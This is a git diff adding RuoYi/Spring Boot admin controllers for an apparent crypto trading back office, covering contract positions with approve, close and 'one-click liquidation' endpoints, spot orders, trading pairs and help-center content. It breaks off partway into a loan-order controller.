0000000..32fbb7a --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TContractPositionController.java @@ -0,0 +1,208 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.HashMap; +import java.util.List; +import java.util.Map; +import java.util.Objects; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.TContractLoss; +import com.ruoyi.bussiness.service.ITContractLossService; +import com.ruoyi.bussiness.service.ITWithdrawService; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.redis.RedisCache; +import com.ruoyi.common.enums.CachePrefix; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import com.ruoyi.common.utils.ucontract.ContractComputerUtil; +import com.ruoyi.socket.socketserver.WebSocketNotice; +import io.swagger.annotations.ApiOperation; +import org.apache.poi.ss.formula.functions.T; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.*; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TContractPosition; +import com.ruoyi.bussiness.service.ITContractPositionService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * U本位持仓表Controller + * + * @author michael + * @date 2023-07-20 + */ +@RestController +@RequestMapping("/bussiness/position") +public class TContractPositionController extends BaseController { + @Autowired + private ITContractPositionService tContractPositionService; + + @Autowired + private ITContractLossService contractLossService; + + @Resource + private RedisCache redisCache; + /** + * 查询U本位持仓表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:list')") + @GetMapping("/list") + public TableDataInfo list(TContractPosition tContractPosition) { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if (!user.isAdmin()) { + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")) { + tContractPosition.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tContractPositionService.selectTContractPositionList(tContractPosition); + for (TContractPosition t : list) { + BigDecimal earnRate = Objects.isNull(t.getEarnRate()) ? BigDecimal.ZERO : t.getEarnRate(); + BigDecimal adjustAmount=t.getAdjustAmount(); + //rxce + BigDecimal bigDecimal =adjustAmount.add((adjustAmount.multiply(t.getLeverage()).multiply(earnRate).setScale(4, RoundingMode.UP))); + //需要补多少仓 + BigDecimal subzs=bigDecimal.subtract(t.getRemainMargin()); + if(subzs.compareTo(BigDecimal.ZERO)<0){ + subzs=BigDecimal.ZERO; + } + t.setSubAmount(bigDecimal); + Map params = new HashMap<>(); + + Long days= Objects.nonNull(t.getDeliveryDays())?t.getDeliveryDays()*3600*24*1000:0L; + params.put("subTime", Objects.nonNull(t.getSubTime())?t.getSubTime().getTime()+days:0L); + Long sub=System.currentTimeMillis()-t.getCreateTime().getTime(); + Long result=t.getDeliveryDays()*3600*24*1000-sub; + if(result<0){ + result=0L; + } + params.put("deliveryDays", Objects.nonNull(t.getDeliveryDays())?result:0L); + t.setParams(params); + BigDecimal currentlyPrice = redisCache.getCacheObject(CachePrefix.CURRENCY_PRICE.getPrefix() + t.getSymbol().toLowerCase()); + if (Objects.nonNull(currentlyPrice)) { + BigDecimal earn = ContractComputerUtil.getPositionEarn(t.getOpenPrice(), t.getOpenNum(), currentlyPrice, t.getType()); + Integer status = t.getStatus(); + t.setUreate(earn); + if (1 == status) { + t.setUreate(t.getEarn()); + } + } + } + return getDataTable(list); + } + + /** + * 导出U本位持仓表列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:export')") + @Log(title = "U本位持仓表", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TContractPosition tContractPosition) { + List list = tContractPositionService.selectTContractPositionList(tContractPosition); + ExcelUtil util = new ExcelUtil(TContractPosition.class); + util.exportExcel(response, list, "U本位持仓表数据"); + } + + /** + * 获取U本位持仓表详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) { + return success(tContractPositionService.selectTContractPositionById(id)); + } + + /** + * 新增U本位持仓表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:add')") + @Log(title = "U本位持仓表", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TContractPosition tContractPosition) { + return toAjax(tContractPositionService.insertTContractPosition(tContractPosition)); + } + + /** + * 修改U本位持仓表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:edit')") + @Log(title = "U本位持仓表", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TContractPosition tContractPosition) { + int count=tContractPositionService.updateTContractPosition(tContractPosition); + return toAjax(count); + } + + /** + * 删除U本位持仓表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:position:remove')") + @Log(title = "U本位持仓表", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) { + return toAjax(tContractPositionService.deleteTContractPositionByIds(ids)); + } + + @PreAuthorize("@ss.hasPermi('bussiness:position:query')") + @PostMapping("contractLoss/{id}") + public TableDataInfo contractLoss(@PathVariable Long id) { + TContractLoss tContractLoss = new TContractLoss(); + tContractLoss.setPositionId(id); + startPage(); + List list = contractLossService.selectTContractLossList(tContractLoss); + return getDataTable(list); + } + + @PreAuthorize("@ss.hasPermi('bussiness:position:pass')") + @Log(title = "平仓审核", businessType = BusinessType.UPDATE) + @PutMapping("/pass") + public AjaxResult pass(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.pass(tContractPosition); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + + @PreAuthorize("@ss.hasPermi('bussiness:position:reject')") + @Log(title = "平仓审核", businessType = BusinessType.UPDATE) + @PutMapping("/reject") + public AjaxResult reject(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.reject(tContractPosition); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:position:stopPosition')") + @Log(title = "平仓", businessType = BusinessType.UPDATE) + @PostMapping("/stopPositon") + public AjaxResult stopPositon(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.stopPosition(tContractPosition.getId()); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } + @PreAuthorize("@ss.hasPermi('bussiness:position:stopAll')") + @Log(title = "一键爆仓", businessType = BusinessType.UPDATE) + @PostMapping("/stopAllPositon") + public AjaxResult stopAllPositon(@RequestBody TContractPosition tContractPosition) { + String result= tContractPositionService.stopAllPosition(tContractPosition.getId()); + if(!"success".equals(result)){ + return AjaxResult.error(result); + } + return AjaxResult.success(); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java new file mode 100644 index 0000000..a1b9db4 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencyOrderController.java @@ -0,0 +1,116 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TCurrencyOrder; +import com.ruoyi.bussiness.service.ITCurrencyOrderService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币币交易订单Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/bussiness/currency/order") +public class TCurrencyOrderController extends BaseController +{ + @Autowired + private ITCurrencyOrderService tCurrencyOrderService; + + /** + * 查询币币交易订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:list')") + @GetMapping("/list") + public TableDataInfo list(TCurrencyOrder tCurrencyOrder) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tCurrencyOrder.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder); + return getDataTable(list); + } + + /** + * 导出币币交易订单列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:export')") + @Log(title = "币币交易订单", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencyOrder tCurrencyOrder) + { + List list = tCurrencyOrderService.selectTCurrencyOrderList(tCurrencyOrder); + ExcelUtil util = new ExcelUtil(TCurrencyOrder.class); + util.exportExcel(response, list, "币币交易订单数据"); + } + + /** + * 获取币币交易订单详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencyOrderService.selectTCurrencyOrderById(id)); + } + + /** + * 新增币币交易订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:add')") + @Log(title = "币币交易订单", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TCurrencyOrder tCurrencyOrder) + { + return toAjax(tCurrencyOrderService.insertTCurrencyOrder(tCurrencyOrder)); + } + + /** + * 修改币币交易订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:edit')") + @Log(title = "币币交易订单", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TCurrencyOrder tCurrencyOrder) + { + return toAjax(tCurrencyOrderService.updateTCurrencyOrder(tCurrencyOrder)); + } + + /** + * 删除币币交易订单 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency:order:remove')") + @Log(title = "币币交易订单", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCurrencyOrderService.deleteTCurrencyOrderByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java new file mode 100644 index 0000000..d9f5480 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TCurrencySymbolController.java @@ -0,0 +1,124 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.TCurrencySymbol; +import com.ruoyi.bussiness.service.ITCurrencySymbolService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 币币交易币种配置Controller + * + * @author ruoyi + * @date 2023-07-25 + */ +@RestController +@RequestMapping("/bussiness/currency/symbol") +public class TCurrencySymbolController extends BaseController +{ + @Autowired + private ITCurrencySymbolService tCurrencySymbolService; + + + @PreAuthorize("@ss.hasPermi('currency:symbol:addBatch')") + @Log(title = "币币交易币种配置", businessType = BusinessType.INSERT) + @PostMapping("/addBatch") + public AjaxResult batchSave( String[] symbols) + { + tCurrencySymbolService.batchSave(symbols); + return AjaxResult.success(); + } + /** + * 查询币币交易币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:list')") + @GetMapping("/list") + public TableDataInfo list(TCurrencySymbol tCurrencySymbol) + { + startPage(); + List list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + return getDataTable(list); + } + + /** + * 导出币币交易币种配置列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:export')") + @Log(title = "币币交易币种配置", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, TCurrencySymbol tCurrencySymbol) + { + List list = tCurrencySymbolService.selectTCurrencySymbolList(tCurrencySymbol); + ExcelUtil util = new ExcelUtil(TCurrencySymbol.class); + util.exportExcel(response, list, "币币交易币种配置数据"); + } + + /** + * 获取币币交易币种配置详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tCurrencySymbolService.selectTCurrencySymbolById(id)); + } + + /** + * 新增币币交易币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:add')") + @Log(title = "币币交易币种配置", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody TCurrencySymbol tCurrencySymbol) + { + TCurrencySymbol currencySymbol = tCurrencySymbolService.getOne(new LambdaQueryWrapper() + .eq(TCurrencySymbol::getCoin, tCurrencySymbol.getCoin().toLowerCase())); + if (currencySymbol!=null){ + return AjaxResult.error(currencySymbol.getCoin()+currencySymbol.getBaseCoin()+"交易对已经存在"); + } + return toAjax(tCurrencySymbolService.insertTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 修改币币交易币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:edit')") + @Log(title = "币币交易币种配置", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody TCurrencySymbol tCurrencySymbol) + {TCurrencySymbol currencySymbol = tCurrencySymbolService.getOne(new LambdaQueryWrapper() + .eq(TCurrencySymbol::getCoin, tCurrencySymbol.getCoin().toLowerCase())); + if (currencySymbol!=null && !currencySymbol.getId().equals(tCurrencySymbol.getId())){ + return AjaxResult.error(currencySymbol.getCoin()+currencySymbol.getBaseCoin()+"交易对已经存在"); + } + return toAjax(tCurrencySymbolService.updateTCurrencySymbol(tCurrencySymbol)); + } + + /** + * 删除币币交易币种配置 + */ + @PreAuthorize("@ss.hasPermi('bussiness:currency/symbol:remove')") + @Log(title = "币币交易币种配置", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tCurrencySymbolService.deleteTCurrencySymbolByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java new file mode 100644 index 0000000..37357a4 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TExchangeCoinRecordController.java @@ -0,0 +1,47 @@ +package com.ruoyi.web.controller.bussiness; + +import com.ruoyi.bussiness.domain.TExchangeCoinRecord; +import com.ruoyi.bussiness.service.ITExchangeCoinRecordService; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import com.ruoyi.common.core.page.TableDataInfo; +import com.ruoyi.common.utils.SecurityUtils; +import com.ruoyi.common.utils.StringUtils; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.web.bind.annotation.*; +import java.util.List; + +/** + * 币种兑换记录Controller + * + * @author ruoyi + * @date 2023-07-07 + */ +@RestController +@RequestMapping("/bussiness/texchange") +public class TExchangeCoinRecordController extends BaseController +{ + @Autowired + private ITExchangeCoinRecordService tExchangeCoinRecordService; + + /** + * 查询币种兑换记录列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:texchange:list')") + @GetMapping("/list") + public TableDataInfo list(TExchangeCoinRecord tExchangeCoinRecord) + { + LoginUser loginUser = SecurityUtils.getLoginUser(); + SysUser user = loginUser.getUser(); + if(!user.isAdmin()){ + if (StringUtils.isNotBlank(user.getUserType()) && !user.getUserType().equals("0")){ + tExchangeCoinRecord.setAdminParentIds(String.valueOf(user.getUserId())); + } + } + startPage(); + List list = tExchangeCoinRecordService.selectTExchangeCoinRecordList(tExchangeCoinRecord); + return getDataTable(list); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java new file mode 100644 index 0000000..2083b27 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterController.java @@ -0,0 +1,117 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import com.ruoyi.bussiness.service.ITHelpCenterService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.util.CollectionUtils; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THelpCenter; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 帮助中心Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/helpcenter") +public class THelpCenterController extends BaseController +{ + @Autowired + private ITHelpCenterService tHelpCenterService; + @Resource + private ITHelpCenterInfoService tHelpCenterInfoService; + + /** + * 查询帮助中心列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:list')") + @GetMapping("/list") + public TableDataInfo list(THelpCenter tHelpCenter) + { + startPage(); + List list = tHelpCenterService.selectTHelpCenterList(tHelpCenter); + return getDataTable(list); + } + + /** + * 导出帮助中心列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:export')") + @Log(title = "帮助中心", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, THelpCenter tHelpCenter) + { + List list = tHelpCenterService.selectTHelpCenterList(tHelpCenter); + ExcelUtil util = new ExcelUtil(THelpCenter.class); + util.exportExcel(response, list, "帮助中心数据"); + } + + /** + * 获取帮助中心详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHelpCenterService.selectTHelpCenterById(id)); + } + + /** + * 新增帮助中心 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:add')") + @Log(title = "帮助中心", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody THelpCenter tHelpCenter) + { + return toAjax(tHelpCenterService.insertTHelpCenter(tHelpCenter)); + } + + /** + * 修改帮助中心 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:edit')") + @Log(title = "帮助中心", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody THelpCenter tHelpCenter) + { + return toAjax(tHelpCenterService.updateTHelpCenter(tHelpCenter)); + } + + /** + * 删除帮助中心 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpcenter:remove')") + @Log(title = "帮助中心", businessType = BusinessType.DELETE) + @DeleteMapping("/{id}") + public AjaxResult remove(@PathVariable Long id) + { + THelpCenterInfo tHelpCenterInfo = new THelpCenterInfo(); + tHelpCenterInfo.setHelpCenterId(id); + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + if (!CollectionUtils.isEmpty(list)){ + return AjaxResult.error("该数据下存在子集,不允许删除"); + } + return toAjax(tHelpCenterService.deleteTHelpCenterById(id)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java new file mode 100644 index 0000000..e8466e7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THelpCenterInfoController.java @@ -0,0 +1,105 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; + +import com.ruoyi.bussiness.service.ITHelpCenterInfoService; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THelpCenterInfo; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 帮助中心问题详情Controller + * + * @author ruoyi + * @date 2023-08-17 + */ +@RestController +@RequestMapping("/bussiness/helpCenterInfo") +public class THelpCenterInfoController extends BaseController +{ + @Autowired + private ITHelpCenterInfoService tHelpCenterInfoService; + + /** + * 查询帮助中心问题详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:list')") + @GetMapping("/list") + public TableDataInfo list(THelpCenterInfo tHelpCenterInfo) + { + startPage(); + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + return getDataTable(list); + } + + /** + * 导出帮助中心问题详情列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:export')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, THelpCenterInfo tHelpCenterInfo) + { + List list = tHelpCenterInfoService.selectTHelpCenterInfoList(tHelpCenterInfo); + ExcelUtil util = new ExcelUtil(THelpCenterInfo.class); + util.exportExcel(response, list, "帮助中心问题详情数据"); + } + + /** + * 获取帮助中心问题详情详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHelpCenterInfoService.selectTHelpCenterInfoById(id)); + } + + /** + * 新增帮助中心问题详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:add')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody THelpCenterInfo tHelpCenterInfo) + { + return toAjax(tHelpCenterInfoService.insertTHelpCenterInfo(tHelpCenterInfo)); + } + + /** + * 修改帮助中心问题详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:edit')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody THelpCenterInfo tHelpCenterInfo) + { + return toAjax(tHelpCenterInfoService.updateTHelpCenterInfo(tHelpCenterInfo)); + } + + /** + * 删除帮助中心问题详情 + */ + @PreAuthorize("@ss.hasPermi('bussiness:helpCenterInfo:remove')") + @Log(title = "帮助中心问题详情", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tHelpCenterInfoService.deleteTHelpCenterInfoByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java new file mode 100644 index 0000000..8b72aa7 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/THomeSetterController.java @@ -0,0 +1,104 @@ +package com.ruoyi.web.controller.bussiness; + +import java.util.List; +import javax.servlet.http.HttpServletResponse; +import org.springframework.security.access.prepost.PreAuthorize; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.web.bind.annotation.GetMapping; +import org.springframework.web.bind.annotation.PostMapping; +import org.springframework.web.bind.annotation.PutMapping; +import org.springframework.web.bind.annotation.DeleteMapping; +import org.springframework.web.bind.annotation.PathVariable; +import org.springframework.web.bind.annotation.RequestBody; +import org.springframework.web.bind.annotation.RequestMapping; +import org.springframework.web.bind.annotation.RestController; +import com.ruoyi.common.annotation.Log; +import com.ruoyi.common.core.controller.BaseController; +import com.ruoyi.common.core.domain.AjaxResult; +import com.ruoyi.common.enums.BusinessType; +import com.ruoyi.bussiness.domain.THomeSetter; +import com.ruoyi.bussiness.service.ITHomeSetterService; +import com.ruoyi.common.utils.poi.ExcelUtil; +import com.ruoyi.common.core.page.TableDataInfo; + +/** + * 规则说明Controller + * + * @author ruoyi + * @date 2023-07-19 + */ +@RestController +@RequestMapping("/bussiness/home/setter") +public class THomeSetterController extends BaseController +{ + @Autowired + private ITHomeSetterService tHomeSetterService; + + /** + * 查询规则说明列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:list')") + @GetMapping("/list") + public TableDataInfo list(THomeSetter tHomeSetter) + { + startPage(); + List list = tHomeSetterService.selectTHomeSetterList(tHomeSetter); + return getDataTable(list); + } + + /** + * 导出规则说明列表 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:export')") + @Log(title = "规则说明", businessType = BusinessType.EXPORT) + @PostMapping("/export") + public void export(HttpServletResponse response, THomeSetter tHomeSetter) + { + List list = tHomeSetterService.selectTHomeSetterList(tHomeSetter); + ExcelUtil util = new ExcelUtil(THomeSetter.class); + util.exportExcel(response, list, "规则说明数据"); + } + + /** + * 获取规则说明详细信息 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:query')") + @GetMapping(value = "/{id}") + public AjaxResult getInfo(@PathVariable("id") Long id) + { + return success(tHomeSetterService.selectTHomeSetterById(id)); + } + + /** + * 新增规则说明 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:add')") + @Log(title = "规则说明", businessType = BusinessType.INSERT) + @PostMapping + public AjaxResult add(@RequestBody THomeSetter tHomeSetter) + { + return toAjax(tHomeSetterService.insertTHomeSetter(tHomeSetter)); + } + + /** + * 修改规则说明 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:edit')") + @Log(title = "规则说明", businessType = BusinessType.UPDATE) + @PutMapping + public AjaxResult edit(@RequestBody THomeSetter tHomeSetter) + { + return toAjax(tHomeSetterService.updateTHomeSetter(tHomeSetter)); + } + + /** + * 删除规则说明 + */ + @PreAuthorize("@ss.hasPermi('bussiness:setter:remove')") + @Log(title = "规则说明", businessType = BusinessType.DELETE) + @DeleteMapping("/{ids}") + public AjaxResult remove(@PathVariable Long[] ids) + { + return toAjax(tHomeSetterService.deleteTHomeSetterByIds(ids)); + } +} diff --git a/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java new file mode 100644 index 0000000..a4985c2 --- /dev/null +++ b/ruoyi-admin/src/main/java/com/ruoyi/web/controller/bussiness/TLoadOrderController.java @@ -0,0 +1,223 @@ +package com.ruoyi.web.controller.bussiness; + +import java.math.BigDecimal; +import java.math.RoundingMode; +import java.util.*; +import javax.annotation.Resource; +import javax.servlet.http.HttpServletResponse; + +import cn.hutool.json.JSONUtil; +import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; +import com.ruoyi.bussiness.domain.TAppAsset; +import com.ruoyi.bussiness.domain.TAppUser; +import com.ruoyi.bussiness.domain.TLoadProduct; +import com.ruoyi.bussiness.domain.setting.LoadSetting; +import com.ruoyi.bussiness.domain.setting.Setting; +import com.ruoyi.bussiness.service.*; +import com.ruoyi.common.core.domain.entity.SysUser; +import com.ruoyi.common.core.domain.model.LoginUser; +import 